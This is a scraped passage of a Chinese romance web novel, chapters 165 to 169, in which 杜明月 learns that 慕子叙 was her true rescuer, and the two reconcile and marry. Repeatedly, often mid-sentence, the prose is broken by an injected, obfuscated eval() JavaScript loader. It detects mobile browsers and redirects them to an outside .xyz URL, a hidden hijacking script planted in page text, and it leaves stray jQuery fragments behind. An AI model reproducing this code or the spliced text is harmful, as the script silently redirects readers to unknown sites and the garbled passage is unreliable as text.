他接过手帕时,指尖不经意划过她的掌心,两人同时顿了顿,她慌忙移开目光去看荷叶上的蜻蜓,他却低头笑了,将手帕叠好塞进袖中,仿佛藏起了什么了不得的宝贝。 小船在荷塘里慢慢漂着,他摘莲蓬,她便坐在船尾剥莲子,青绿的莲蓬壳堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244489|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脚边,剥好的莲子装在白瓷碗里,渐渐堆成了小山。 偶尔有荷叶上的水珠滚落到杜明月颈间,她惊得一颤,慕子叙便会伸手替她拂去,指尖擦过肌肤时,总能带起一阵细密的战栗。 杜明月内心幸福的自己都觉得有点害怕了。 “够了吗?”他举着最后一支莲蓬问杜明月,阳光透过荷叶的缝隙落在他脸上,让他整个人看起来更加生动完美。 杜明月看着碗里快要装不下的莲子,点了点头:“够了,外祖母见了定要高兴的。” 回程时日头已高,慕子叙摇着橹,她便将剥好的莲子用井水浸着。船行至半路,忽然有乌云从天边压过来,风也变得急了,荷叶被吹得哗哗作响。 “要下雨了。”他抬头看了看天色,将船往岸边划得更快了些,“抓紧船舷。” 话音刚落,豆大的雨点就砸了下来,起初是零星几点,转眼就成了瓢泼之势。 荷塘离岸边还有段距离,两人被淋得措手不及。他急忙将船往一棵老柳树下靠,自己先跳上岸,再伸手去接她。 “慢点。”他的手稳稳托住她的腰,将她扶上岸时,她的裙摆已被泥水溅脏。雨势太大,柳树根本挡不住,两人只好往不远处的草棚跑。 草棚是看塘人歇脚的地方,里面堆着些农具,弥漫着干草和泥土的气息。 杜明月刚站定,就打了个喷嚏,身上的湿衣贴在皮肤上,凉得刺骨。 “把这个披上。”慕子叙忽然脱下外衫,不由分说地披在她肩上。他里面只穿了件月白中衣,湿了大半,紧紧贴在身上,勾勒出清瘦却挺拔的身形。 “那你怎么办?”她想把外衫还给他,却被他按住手。 “我无妨。”他从草堆里翻出些干燥的稻草,用打火石点燃,“烤烤火就暖和了。” 火苗渐渐旺起来,映得两人脸颊发烫。 她裹着他的外衫,鼻尖萦绕着淡淡的竹香,那是他常用的熏香味道,此刻混着雨水的清冽,竟格外让人安心。 第一百六十五章一起躲雨 慕子叙坐在火堆对面,正低头拧着湿发,水珠顺着发梢滴落在锁骨处,滑进衣襟里,看得杜明月心头一跳,不由得羞红了脸,急忙将脸转向一边。 杜明月又转念一想,自己可都是和离过的人了,又不是没见过世面的小姑娘,怎么还害羞起来了。 于是,她立马大大方方的转过头,看向慕子叙。 “你冷不冷?”她忍不住问,往火堆里添了些稻草。 他抬头看她,眼里映着跳动的火光:“不冷。倒是你,别着凉了。”说着便往她这边挪了挪,直接将几块木柴添了进去。 草棚外雨声哗哗,棚内却只有柴火噼啪的轻响。 她忽然注意到他袖口磨破了个小口子,应该是刚才摘莲蓬时被不小心被什么东西划的,就想也不想直接伸手去触碰道,“这么好的衣服,有点可惜了。” 慕子叙感受着杜明月指尖传来的温度,愣了愣,忘记将手收回去,却直接红了脸,立马低下头去。 看到慕子叙红了脸,杜明月心情突然很好,她甚至有些邪恶的想着,她现在这样看起来是不是有点像调戏良家妇男的坏女人。 心里这么想着,杜明月却不收手,甚至还想放肆的将指尖往上游走,可是她心中的想法还没有大胆去实现时,突然有一只温暖的大手猛地握住了她的手。 她抬头,便撞进了慕子叙那双深潭似的黑眸,甚至觉得他的眼中有一团火在烧,让她又紧张又忍不住想要大胆靠近。 杜明月的脸颊腾地红了,正要说话,却见慕子叙忽然又凑近了些,伸手替她将额前的湿发别到耳后。 他的指尖带着火烤过的温度,擦过耳垂时,她的呼吸都乱了。 “你……”她直直的盯着他,在他那双黑亮的眸子里清晰地映着她的影子。 雨还在下,敲打着草棚的顶,发出沉闷的声响。他的目光从她的眼睛移到嘴唇,喉结轻轻滚动了一下,声音低得像叹息:“明月,我……” 话音未落,外面忽然传来几声狗吠,想必是看塘人回来了。 两人像受惊的小鹿般猛地分开,她慌忙低下头去看火堆,他则转身去整理散落的农具,耳根却都红透了。 两人虽然什么都没说,但却不知道为什么,就是心里觉得和对方更亲近了。 等雨势渐小,被刚才大片乌云遮住的天空开始放晴,两人并肩往回走。 慕子叙的外衫依旧披在她肩上,长度几乎盖住了她的裙摆。路过石板桥时,她脚下一滑,他眼疾手快地扶住她,这一次,他没有立刻松手,而是紧紧握着她的手腕。 “小心些。”他的声音就在耳边,温热的气息拂过耳廓。 她抬头看他,恰好看到他喉结滚动的样子,心跳如擂鼓。过了桥,他才慢慢松开手,掌心却已沁出薄汗。 回去的路上,江南的烟雨迷蒙,让过路的行人都只顾着低头奔走快跑,因此也并未注意到杜明月和慕子叙就这样一路握着双手回到了杜府。 进杜府大门时,两人的头发依然是湿哒哒的。杜老夫人见了,忙让红豆去吩咐厨房煮姜汤,又嗔怪道:“怎么淋成这样?” “路上遇着大雨了。”杜明月说着,将披在肩上的外衫取下来,递还给慕子叙,“多谢慕公子。” 慕子叙接过外衫,指尖不经意碰到她的指尖,两人又是一怔。老夫人将这一切看在眼里,笑着道,“本来我还自责,不该喝什么莲子汤,让你们两个专门替我去采最新鲜的,可现在这么一看,我好像做对了。” 被杜老夫人看穿心事的杜明月和慕子叙都有些不好意思的红了脸,对视一眼也不说话。 杜老夫人笑呵呵的也不逗他们了,“快去吧,都去换身干衣裳,别真着凉了。” “嗯。”杜明月转身回房时,脚步有些发飘。 她摸了摸发烫的脸颊,想起草棚里他凑近的瞬间,以及他握着自己手腕的温度,心跳又开始不受控制。 而慕子叙站在原地,看着她的背影消失在回廊尽头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244490|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头闻了闻袖中残留的淡淡莲香,忽然笑了。 他将湿衣搭在臂弯里,掌心似乎还残留着她手腕的温度,像烙印般,再也抹不去了。 外头的雨还在下,淅淅沥沥的,敲打着芭蕉叶,却并不让人烦闷,甚至觉得开心。 “还没看够那?慕公子,你这一身衣服不嫌湿冷吗?”杜老夫人忍不住笑意道。 慕子叙连忙回神,尴尬慌乱的回了礼,也匆匆的离开了。 两人各自回屋泡了热水澡,又换了衣裳,杜明月还亲自给杜老夫人做了莲子羹。 时间眨眼便到了晚上。 晚膳后,老夫人让红豆端来新酿的梅子酒,笑眯眯地给三人各斟了一杯。 酒液琥珀色,泛着淡淡的果香,杜明月刚抿了一口,就被酸得眯起了眼。 “这酒得配着蜜饯吃。”老夫人拈起颗金橘脯递到她嘴边,目光却瞟向对面的慕子叙。 “说起来,慕公子真是细心。前日我随口说想吃城东的桂花糕,第二日一早就见着食盒了,我觉得比亲外孙女还贴心,也和我闹小脾气。” “外祖母!”杜明月的脸颊腾地红了,低头假装品酒,耳尖却竖得高高的。 慕子叙很是高兴的立马放下酒杯,温声道:“老夫人喜欢就好。” “喜欢,怎么不喜欢?”老夫人放下银箸,索性直说道,“我这孙女,打小就犟,认准的事十头牛都拉不回。先前在京城受了委屈,回来后才渐渐开朗些。” 她话锋一转,看向慕子叙,眼神里满是期许:“慕公子啊,说实话,我是真喜欢你,你要是不嫌弃,日后也常来看看我。” 慕子叙十分认真的道,“一定。” 慕子叙一副信誓旦旦,暗暗立下誓言的模样,看到杜老夫人心里十分满意,她觉得若是有了慕子叙,即便杜明月最后没有找到自己的亲人,身边能有慕子叙的陪伴,她也就能安心去了。 想到这里,杜老夫人心中做了一个大胆的决定。 第一百六十六章 当** 杜老夫人心中一横,决定为了自己外孙女的幸福,直接抛下一张老脸开了口,“其实,若是可以,你看你和明月,一个未娶一个未嫁,又都是知根知底的,将来……” “外祖母!”杜明月猛地打断她,耳根红得快要滴血,“您说什么呢。” 慕子叙也有些坐不住,手捏着酒杯微微收紧,指节泛白。他想接话,喉结滚了滚,却只挤出句:“老夫人说笑了。” “我可没说笑。”老夫人佯装板起脸,却对着两人眨了眨眼,“我瞧着你们俩啊,站在一块儿就像画里走出来的。前儿去烟雨园,多少人回头看你们,还问是不是一对璧人呢。” “那是他们看错了!”杜明月急忙辩解,声音都有些发颤,“我和慕公子只是……只是朋友。” “哦?只是朋友?”老夫人拖长了语调,看向慕子叙,“慕公子也是这么想的?” 慕子叙的脸早已红透,从耳根蔓延到脖颈。 他望着杜明月,眼神里藏着难掩的情意,嘴上却讷讷道:“老夫人……老夫人别取笑我们了。” “我这把老骨头,哪有力气取笑人。”老夫人笑着摆摆手,给两人续上酒,一本正经的道,“那你们都不承认就算了,我就当也没有这回事。” “赶明儿,我还得找媒婆来才行。”杜老夫人故意这么说,果然看到慕子叙脸上着急了起来。 慕子叙下意识的就脱口而出,“别,老夫人……” 杜明月也着急,但好歹也听出外祖母时故意拿自己取笑,所以忍住了。 杜老夫人见他们还是不肯直说,便道,“毕竟你们也都知道我身体已经不行了,我可是想着在临终前看到我的乖外孙女找到一个靠谱的,能过一辈子的人。” “外祖母。”杜明月听到这话,心中难过,而一旁的慕子叙静静地看着,默默的将双手攥紧,内心已经打定了主意。 杜老夫人见两人如此模样,心中便知道事情十有**是马上就能定下来的,便开心的拍了拍杜明月的手背道,“你们年轻人的事,自己心里有数就好。我啊,就盼着能早点喝上你们的喜酒。” 这话一出,两人更是坐立难安。 杜明月低头盯着杯底的酒渍,指尖绞着帕子,慕子叙仰头将杯中酒饮尽,掩饰自己的紧张。 廊下的风拂过,吹得烛火轻轻摇晃,映得两人泛红的脸颊,像极了熟透的桃子。 这日过后,连绵的雨下了整整三日,檐角的水流成了线,将青石板洗得油亮。 杜明月心不在焉的坐在窗边绣着莲子纹样的荷包,目光却始终看向窗外的雨幕,一遍遍回忆起她和慕子叙采莲子那日的大雨。 杜明月听红豆说,慕子叙今日替她出门摆平了几个拖欠货款的下家。 回来后,已经在书房待了一个上午,说是帮她整理铺子的账目,可她总觉得,那日外祖母明着撮合后,两人之间添了层说不清的拘谨。 那种感觉像是两人都小心翼翼的试探着,想要捅破那层窗户纸,但却总找不到合适的时机。 她正想着,耳边传来了红豆的声音。 “主子,喝杯热茶暖暖吧。”红豆端着茶进来,手里还捏着张揉皱的纸条。 “方才门房收到从临安府捎来的信,说是那边下了三天暴雨,城外山里出了泥石流,压坏了好几户人家呢。街上的商铺也被冲毁了,咱们这边刚送过去的货,估计也都泡了水荒废了。” 杜明月捏着绣花针的手猛地一顿,针尖刺破了指尖,渗出点血珠。 她对泥石流有种莫名的惊惧,总想起许多年前那个模糊的雨夜,也是这样的**,她在前往外祖母家中的路上遇到了山洪,也就是在那一次,段骆岐出现救了她,她才认定了他。 一想到过去的这些事,心中更加乱了,而且让她心里更加不安的事,今日突然又听到这事儿,忽然让她想起了一个过去被她遗忘的细节。 她正出神的想着,耳边传来的声音十分温柔,却突然吓了她一跳。 “伤着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244491|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”慕子叙不知何时站在门口,手里还拿着本账册,见她指尖冒血,快步走过来从袖中掏出手帕,“怎么这么不小心。” 他的指尖刚触到她的手,杜明月就像被烫到般缩回,心跳骤然加快。 红豆没有看出杜明月的反常,只一心沉浸在听到泥石流的震惊中。 她在一旁咋舌道,“听说伤了不少人呢,真是吓人。这连绵的雨再下下去,保不齐咱们这儿也得出事。” 慕子叙替她按住伤口的手忽然一紧,眉头蹙起:“泥石流确是凶险,山石裹挟着泥水下来,眨眼就能把屋子冲垮,甚至将人冲走,能救回来的不多,当年你就是……” 他话说到一半猛地顿住,抬头见杜明月正用奇怪怀疑的眼神打量自己,他心中一慌,眼神有些不知所措。 他不小心,说漏了不该说的话。 慕子叙慌乱低头,想要随便找个借口糊弄过去,“我是说……” 然而杜明月却根本不给他遮掩过去的机会,目光直直的看着他,追问,“当年怎么了?” 慕子叙心头一紧,却不知道,此时捕捉到了他那些未说完的话的杜明月,心中更是不安缩紧,甚至痛的她几乎不能呼吸。 不可能,不应该这样的,怎么会出现这样的事情,一定是我的错觉。 在慕子叙沉默的短短一瞬,杜明月心中已经犹如经历了惊涛骇浪,她不断地否认着心中的想法,生怕那会变成真的。 心虚的慕子叙刻意避开她的目光,低头随意的翻看一旁的账册,“没什么,只是想起曾听人说过类似的灾祸。” 他越是掩饰,杜明月心里的疑团就越大,甚至此刻变得有些生气。 那个埋藏在记忆深处的雨夜忽然清晰起来。 那时,她从翻倒的马车里爬出来时,浑身是泥,额头淌着血。 接着她被山洪冲走,在一片黑暗中,是一名男子拉住了她的手,即便她当时已经几乎昏迷,但她能感受到那男子的胸膛十分温暖和结实。 第一百六十七章 竟然是你 后来,她感觉到那男子背着她走了整整一夜,在她迷迷糊糊转醒时,却又感觉到他离开了,好像往自己手里塞了什么,感觉像是一块玉。 只是,后来,也不知道到底过了多久,她睁开眼睛时,躺在了医馆里。 那时,段骆岐守在床边,手里拿着块碎裂的玉佩,说那夜是他救了她。 她信了,甚至因为这份“救命之恩”,见他落魄,囊中羞涩,立马慷慨解囊,并对他那一点点示好,动了以身相许报答救命之恩的念头,以至于后来即便遭到他的拒绝,穷追不舍。 而且那时的段骆岐也确实狡猾,虽然一直拒绝他,用的却只是他囊中羞涩的借口,甚至言语上还一直表明他对自己是有感情的。 那时的杜明月对他口中所说的情感信以为真,完全不在乎他囊中羞涩,甚至愿意掏出所有的钱来祝他平步青云。 可如果这件事从一开始就是错的,那她一直以来做的这些事情岂不都成了笑话? 她深深的看了慕子叙一眼,她此刻多么希望一切只是幻觉。可此刻听慕子叙的话,那语气里的后怕与熟稔,绝不像只是“听人说过”。 “慕公子当年也救过一个遭遇山洪,差点被洪水冲走的女子。”杜明月的声音有些发颤,指尖的血珠滴落在绣绷上,染红了莲子的白,“你是不是离开前还留下一块儿玉佩?那玉佩我还留着。” 听到这话,慕子叙的肩膀猛地一僵,账册从手中滑落,发出沉闷的响声。他缓缓转过身,目光落在她绣绷上的血迹,喉结滚动了几下,终是没说话。 这沉默就是最好的答案。 杜明月只觉得脑子里“嗡”的一声,许多被忽略的细节瞬间串联起来。 怪不得以前两人喝茶闲聊时,他总说对江南的路熟,原来他确实来过江南,也怪不得,他看她的眼神总带着种难以言说的怜惜,像是藏着多年的心事。 原来真是他。 杜明月情绪复杂,其实那块玉在她醒来时早就已经不见了,也或许正是因为这样才给了段骆岐冒名顶替的。 而在京城时慕子叙早就认出了自己,可是他却什么都没有说。 她想不明白,慕子叙到底为什么要向自己隐藏这么多年? 为什么不说当年在泥水里将她背出来的少年,是他;为什么不说她寻了那么久的救命恩人,是他。 却眼睁睁的看着她错认了段骆岐做恩人,嫁错了人,蹉跎了这么多年。 “为什么?”杜明月的声音带着哭腔,眼泪毫无预兆地掉下来,“你既然认出了我,为什么不告诉我?” “怪不得你在京城初见我时,眼神那般复杂,当年你第一次见我时,我还没有嫁给段骆岐,只是因为救命之恩一直缠着他,想让他娶自己,你为什么不站出来说出真相。” “你既然要看着我眼睁睁的嫁人,后来又为什么总在我狼狈时出现,替我解围。”杜明月变得有些愤怒,“你若当年站出来,我绝不会嫁给段骆岐,日后,她也不会在侯府受尽委屈。” “你若是当初对我无意,现在何苦又来招惹我?”杜明月忍不住泪水掉落下来。 其实她还有一句话未说出口,那便是他如果一开始就对自己有意,为什么不早说? 或许他早一点开口,他们本可以早早就在一起,不必绕这么大的弯,彼此也不必受这么多苦。 “明月……”慕子叙想伸手替她擦眼泪,却被她躲开,他的动作一顿,心痛的像是无法呼吸了一样。 “你说话啊!”杜明月的眼泪越掉越凶,心口像是被堵住,又酸又疼,她现在似乎就想听一句答案,“当年,你是不是觉得看着我嫁给别人,看着我在段府吃苦很有趣?” “不是的!”慕子叙急忙解释,声音里带着从未有过的慌乱,“当年我救你时,家中正逢巨变,父亲被构陷下狱,我四处搜集证据,却被追杀,根本不敢暴露身份,将你也拖到危险之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244492|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “后来在京城再遇你时,我父亲已经被定罪。慕家即将满门获罪,我又怎敢认?到后来我凭着免死金牌留下一条命却被充入南风。那时再见你,正逢你出嫁大婚之日。” “至此,你已是有夫之妇,我还怎么敢站出来和你相认?我不能那么自私的毁你名节?”慕子叙一脸心痛的道,“当初我以为你会幸福,却没想到你后来会遭受如此巨变,所以我后悔了。” “既然别人不能给你幸福,那么你的幸福只能由我来给。”慕子叙叹了一口气道,“好,在这些年我一直没有放弃替我父亲翻案。在你入东宫之后,我更是加快了搜集证据的速度。” “好在现在我父亲的罪名已经得到**,你也好好的,如今等到你和离,一切就都还不算晚。” 他的声音渐渐低下去,带着浓重的悔意:“其实,我看着你在段府过得不好,比谁都急。可我若那时认下,世人只会说我觊觎有夫之妇,反倒会害了你。我只能等,等你脱离段府,等一个能光明正大站在你身边的时机。” 其实,他的这些话合情合理,杜明月却听不进去。她只觉得委屈,像是多年的期盼与委屈在此刻找到了宣泄口,化作汹涌的泪水。 “所以你就看着我认错人,看着我守着段骆岐那个骗子过了这么多年?”她站起身,后退了几步,拉开两人的距离。 “你知不知道我因为那份虚假的恩情,多少次在段府忍气吞声?你知不知道,每次我察觉他似乎欺骗我时,我便安慰自己,当初肯冒那么大风险救自己的人,不会是坏人。” 慕子叙看杜明月落泪,心疼的脸色苍白如纸,嘴唇动了动,却什么也说不出来。 他知道任何解释在此刻都显得苍白,他确实错过了最好的时机,让她受了本不该受的苦。 “明月,对不起,我……” “我不想听了。”杜明月抹了把眼泪,转身往门外走,“你让我一个人静静。” 第一百六十八章 相拥哭泣 杜明月快步走出屋子,廊下的雨还在下,打湿了她的裙摆。红豆站在廊柱后,张了张嘴想说什么,终究还是没敢出声。 慕子叙站在原地,手里还攥着那块替她止血的手帕,上面沾着她的血,红得刺眼。窗外的雨声越来越大,像是在替他无声地辩解,又像是在嘲笑他这些年的隐忍与错过。 他缓缓蹲下身,捡起地上的账册,指尖却控制不住地颤抖。他知道,这一次,他必须做点什么,才能弥补那些被辜负的时光。 于是,他转头坚定的走了出去,一把将杜明月强行抱在怀里,任凭她怎么挣扎都不肯松开。 杜明月先是一愣,之后下意识的想要推开他。但却发现怎么推也推不开,于是躁动不安的心终于慢慢的平静了下来。 或许是觉得委屈,杜明月伸手抱紧了他,眼泪却止不住的流下来,甚至慢慢的哭出了声音。 “对不起,没事儿了,都是我的错。”慕子叙温柔的声音在他耳边响起。 杜明月此时却哭的更加大声了,这次倒不是为了自己,而是因为心疼慕子叙的遭遇。 此时的她已经冷静了,回想起慕子叙刚才的话,更加心疼他的隐忍和执着,他确实已经在他能做的能力范围内,做了最好的选择。 杜明月呜咽的开口道,“我知道你说的都对,可我就是气不过。一定是老天爷看我们这么深情才会对我们如此不公平,这么看来我们两个都是同病相怜的小苦瓜了。” 听到杜明月终于消气,慕子叙暗暗松了口气,抬手温柔的抚摸着她的头发。 “好在两个小苦瓜现在结出一个小甜瓜了,这就够了。你愿意原谅我真的太好。”慕子叙不安躁动的心总算落了下来,止不住的嘴角上扬。 原本还在一旁担心两人的红豆,见他们此时腻腻歪歪的抱在一起,只觉得没眼看,转头捂住两只眼睛就飞快的离开了。 杜明月和慕子叙紧紧的抱着彼此,幸福的脸上却忍不住的落下了泪水,两人紧密的抱着彼此落泪,此刻又觉得老天爷对他们不薄,他们就是这世上最幸福的人。 也不知道他们就这样抱了多久,总之,等到淅淅沥沥的雨停下来,天色放晴的时候,两人便做出了一个大胆又坚定的决定。 他们已经错过彼此太久了,不愿意继续将大好的时光这么耗费下去,于是两人勇敢的决定坚定的和彼此一直走下去。 杜明月紧紧牵住了慕子叙的手道,“走吧,外祖母看到我们两个现在这个样子一定很开心。” 慕子叙眼神温柔的点头,满脸笑意,牵着杜明月的手再次收紧,朝着杜老夫人房中去时,心里竟然变得有些紧张了起来。 “真没想到,还有慕公子怕的事情。”杜明月忍不住笑道,“说起来谁能想到曾经清冷孤高,不可一世的慕公子竟然会喜欢我,而且默默的喜欢了那么多年。” 一说起这些,慕子叙的耳根就忍不住红了起来。 两人说着话,眨眼到了杜老夫人的房屋前。 杜明月的指尖此时还在微微发颤,慕子叙握着她的手站在门前,能清晰地感受到她掌心的薄汗,却只是轻轻捏了捏她的指尖,像是在说“别怕”。 老夫人此时正在屋里听丫鬟给她说戏,听见有脚步声响起,抬头看见两人交握的手,随即笑开了。 那笑意从眼角的皱纹里漫出来,带着如释重负的温柔。 “外祖母。”杜明月先开了口,声音轻得像羽毛,“我和慕公子……” “我知道。”老夫人缓缓坐起身,示意他们坐下,“我就知道,你们一定会在一起,早早晚晚的事。” 杜明月脸红,和慕子叙对视了一眼。 杜老夫人示意杜明月上前帮她泡茶,杜明月立马坐过去照做,先是递给了杜老夫人一杯,下一杯递给了慕子叙。 慕子叙接过杜明月递来的茶,指尖相触时两人都红了脸。 只听他清了清嗓子,认真道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244493|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老夫人,我想娶明月。往后我会好好待她,绝不让她受半分委屈。” 这话一说出口,就连杜明月都愣住了,她来时但并没有想这么多,没想到慕子叙竟然已经想的这么长远了。 老夫人先是一愣,随即却立马笑着点头,忽然红了眼眶。 她颤巍巍地伸出手,摸了摸杜明月的发顶,又拍了拍慕子叙的手背:“好,好啊。” “我这身子骨自己清楚,说不定哪天就去了。”她笑着抹了把眼泪,语气却轻快起来,“以前总怕我走了,明月一个人在这世上孤零零的,连个知冷知热的人都没有。” “如今见你们这样,我就是闭了眼,也能安心了。”杜老夫人说起这话,就忍不住叹息。 “外祖母说什么呢。”杜明月急忙打断她,眼眶也红了,“您还要看着我们成亲,看着我们……” “我知道。”杜老夫人温柔笑着,轻轻的拍了拍杜明月的手,“我还要等着喝喜酒呢。” 老夫人笑着打断她,拉过两人的手叠在一处,“你们啊,好好过日子,比什么都强。” 慕子叙认真的点头,立马做出了十分认真的承诺。 “只要老夫人允许,一个月,一个的时间,我就打算迎娶明月过门。” 慕子叙认真承诺道,“说起来,也不怕老夫人嫌弃,我慕家曾经遭人陷害,家中父母亲眷,几乎都离开了,甚至还有不少无辜的人受到牵连。” “虽说,如今我已经为他们平凡,为慕家正名,可是那些逝去的人却永远不能回来。”慕子叙说起这些,情绪有些失落。 “所以,我已经没有父母高堂,若是成婚,只有我一人。”慕子叙认真道,“倒是老夫人你放心,该有的三媒六聘,一应彩礼,比起别家,只会只多不少。我一定让明月风风光光的嫁给我。” “好。这件事宜早不宜迟。”杜老夫人也很吃惊,没想到他已经考虑的这么周全了,心里对他就更加满意了。 第一百六十九章 遇到** 杜明月见几句话的功夫,外祖母和慕子叙甚至已经将婚期定下来了,震惊不已。 “外祖母怎么如此着急?”杜明月生怕外祖母跟着自己操劳,有些担心婚期太早了,可杜老夫人却握着她的手,语重心长的道,“慕公子思虑的周全,确实应该早些成婚。” 说着她叹了口气道,“虽然你总不让我提,但有些话该说还是要说的。” “我自己的身体最清楚。趁着我现在一切还好,我希望看到你们成亲。而且如果万一我出了什么意外,你要守孝三年不能成亲,不仅对你们不好,就是我在九泉之下也不能明目。” 杜明月听到这里也愣住了,眼泪迷蒙了双眼,内心触动,认真的点了点头。 “好,我听外祖母的。”杜明月说着,抬头看向慕子叙,目光里也有感激,若不是他的心细和用心,或许她真的会让外祖母含恨而终。 “那年山洪,不只有我一个人出了意外,我的父母兄弟都死在了那场山洪中,若不是因为如此,我也不会如此执着于报恩。如今你我先是两情相悦,才认出你是我的救命恩人,我那些在另一个世界里守护我的家人们,知道这件事一定会很高兴。” 慕子叙闻言,也认真的点了点头。 接下来的日子,慕子叙和杜明月,以及整个杜家上下,都在为了杜明月出嫁的事情忙碌着。 江南的秋意漫进庭院时,杜府的红绸已挂了满院。 杜明月坐在窗前,看着红豆将一匹匹绣着并蒂莲的锦缎铺开,指尖轻轻拂过布料上细密的针脚,耳尖不自觉泛起红晕。 “小姐,慕公子让人送了好几箱嫁妆来,哦,还有他自己新打的银钗,说是也要做嫁妆添给你。”红豆捧着个锦盒进来,打开时满室珠光——钗头是并蒂莲样式,莲子颗颗饱满,还缀着细小的珍珠,晃动时坠出细碎的光。 杜明月刚要伸手去拿,就见慕子叙掀帘进来,手里还提着个食盒:“听闻你绣嫁妆累了,特意让厨房做了莲子羹,一碗给你,还有一碗咱们一会去送给外祖母。” 他将食盒放在桌上,目光落在她手边的嫁衣上,眼底满是温柔:“还差什么尽管说,别累着自己。” 杜明月咬着唇笑,将银钗递给他:“你帮我戴上?” 慕子叙的指尖有些发颤,小心翼翼地将钗子插入她发间,铜镜里映出两人相视而笑的模样,暖得像秋日的阳光。 两个月后,成亲那日,杜府热闹得像是要把整个江南的喜气都拢进来。 邻里街坊都来道贺,门口的红鞭炮响了足足半个时辰。 老夫人穿着簇新的袄裙,坐在主位上,看着慕子叙牵着杜明月一步步走进来,眼角的皱纹里都淌着笑意。 拜堂时,杜明月的手被慕子叙攥得紧紧的,掌心的温度透过喜帕传过来,让她一颗悬着的心彻底落了地。 入夜后,红烛摇曳。慕子叙轻轻挑开她的喜帕,看着她泛红的脸颊,声音低得像是耳语,“明月,往后余生,我定不负你。” 杜明月望着他眼底的光,笑着点了点头,指尖轻轻勾住他的衣袖。 红烛燃了一夜,帐内的低语混着窗外的虫鸣,成了江南秋夜里最温柔的声响。 第二日清晨,杜明月刚梳洗完,就见老夫人笑眯眯地走进来,身后跟着端着甜汤的红豆。 “今日可得多喝点我独家秘方的甜汤,补补身子。”老夫人的目光在两人交握的手上转了一圈,故意打趣道,“昨儿夜里我这老婆子都没睡好,总听见窗外有雀儿叫,想来是有人比雀儿还欢喜。” 杜明月的脸颊瞬间红透,慌忙低下头去喝甜汤,没想到外祖母都这把年纪了,竟然还拿这件事来打趣自己。 慕子叙握着她的手,笑着对老夫人道:“让外祖母见笑了。” 老夫人笑得更欢了,拍了拍杜明月的手背:“傻孩子,这有什么好害羞的。我啊,就盼着你们早日生个胖娃娃,让我抱抱曾孙。” 这话一出,杜明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244494|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的耳根都红了,连甜汤都差点喝呛了。 日子就这样一天天过去,慕子叙陪着杜明月打理铺子,陪着老夫人说话解闷,偶尔还会带着她们去湖上泛舟。 老夫人的身体虽仍虚弱,却比往日精神了许多,脸上的笑容也越来越多。 转眼一年多过去,江南又到了梅雨季,老夫人的病情却突然加重,卧床不起。 弥留之际,老夫人拉着杜明月和慕子叙的手,气息微弱:“明月……去找你的亲人……别孤零零的……子叙……替我……好好照顾她……” 